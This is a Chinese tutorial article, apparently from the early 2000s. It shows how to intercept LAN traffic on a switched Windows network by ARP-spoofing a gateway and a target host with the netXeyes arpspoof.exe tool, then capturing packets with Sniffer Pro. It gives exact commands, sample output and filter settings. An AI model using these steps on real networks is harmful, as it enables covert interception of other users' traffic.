电脑技术学习

Windows交换环境中ARP Sniffer的实现

dn001

  根据交换环境中Sniffer实现的原理(详见交换环境下Sniffer的实现),我写了一个类似于Linux环境下的ArpSpoof实现在Windows环境下的Arp Sniffer。
  
  在交换环境下Windows中实现Sniffer需要具备的条件:
  
  1、安装Winpcap驱动。
  
  2、我写了一个类似于Linux环境下的ArpSpoof(我只在windows 2000 Server下测试过,其他期待您的测试)。
  
  3、一个Sniffer,如NetXray或者NAI Sniffer Pro(推荐)。
  
  具体的实现方法:
  
  使用ArpSpoof实现基于ARP的欺骗:
  
  C:>arpspoof.exe
  ARPSpoof, by netXeyes, Special Thanks BB
  www.netXeyes.com 2002, dansnow@21cn.com
  
  Usage: ArpSpoof [Spoof IP1] [Spoof IP2] [Own IP]
   
  
  其中Spoof IP1和Spoof IP2是想要进行欺骗和嗅探的IP地址,Own IP是自己的IP地址(注重这三个IP必须是在同一个局域网内没有跨越交换机或者路由器)。
  
  例如目前公司的局域网环境为192.168.0.xxx,子网掩码为255.255.255.0,网关为192.168.0.1。我们的IP为192.168.0.29,想要Sniffer 192.168.0.2的数据包。
  
  由于网关为192.168.0.1,所以我们就只要欺骗192.168.0.1和192.168.0.2就可以了。也就是说告诉192.168.0.1,192.168.0.2的MAC地址是自己(192.168.0.29);然后再告诉192.168.0.2, 192.168.0.1的MAC地址是自己(192.168.0.29)。这样以来所有的数据包都会发到192.168.0.29,并且由192.168.0.29实现转发(windows 2000默认可以进行包转发,至于Windows 9.x和Windows NT/XP我没有测试过,希望您可以告诉我)。
  
  C:>arpspoof.exe 192.168.0.1 192.168.0.2 192.168.0.29
  ARPSpoof, by netXeyes, Special Thanks BB
  www.netXeyes.com 2002, dansnow@21cn.com
  
  Begin Spoof.........
  
  Spoof 192.168.0.1: Mac of 192.168.0.2 ===> Mac of 192.168.0.29
  Spoof 192.168.0.2: Mac of 192.168.0.1 ===> Mac of 192.168.0.29
  Spoof 192.168.0.1: Mac of 192.168.0.2 ===> Mac of 192.168.0.29
  Spoof 192.168.0.2: Mac of 192.168.0.1 ===> Mac of 192.168.0.29
  Spoof 192.168.0.1: Mac of 192.168.0.2 ===> Mac of 192.168.0.29
  Spoof 192.168.0.2: Mac of 192.168.0.1 ===> Mac of 192.168.0.29
  .....................................................
  
  是时候对192.168.0.1和192.168.0.2的ARP欺骗就开始了,在192.168.0.1上面使用arp -a命令可以看到192.168.0.2和192.168.0.29的MAC地址是一样的。
  
  C:>arp -a
  
  Interface: 192.168.0.1 on Interface 0x1000004
  Internet Address Physical Address Type
  192.168.0.2 00-00-86-61-6b-4e dynamic
  192.168.0.29 00-00-86-61-6b-4e dynamic
  
  同样在192.168.0.2上面也会发现192.168.0.1和192.168.0.29的MAC地址是一样的。
  
  这样我们就在192.168.0.1和192.168.0.2之间实现了ARP欺骗。
  
  启动Sniffer Pro,在Define Filter里面的Address Type中选择Hardware(注重不要选为通常的类型IP,否则抓不到什么有意义的东西),Station1和Station2选择设置为Any即可。
  
  
  这时候就开始Sniffer了。
  
  
  以上结果在我局域网环境中测试通过,不保证适用于所有的环境。
  
  在开发及测试的过程中得到了BB的大力协助,以至于耽误了其看八卦新闻的时间,内疚了很久......:-)

(出处:http://www.vipcn.com)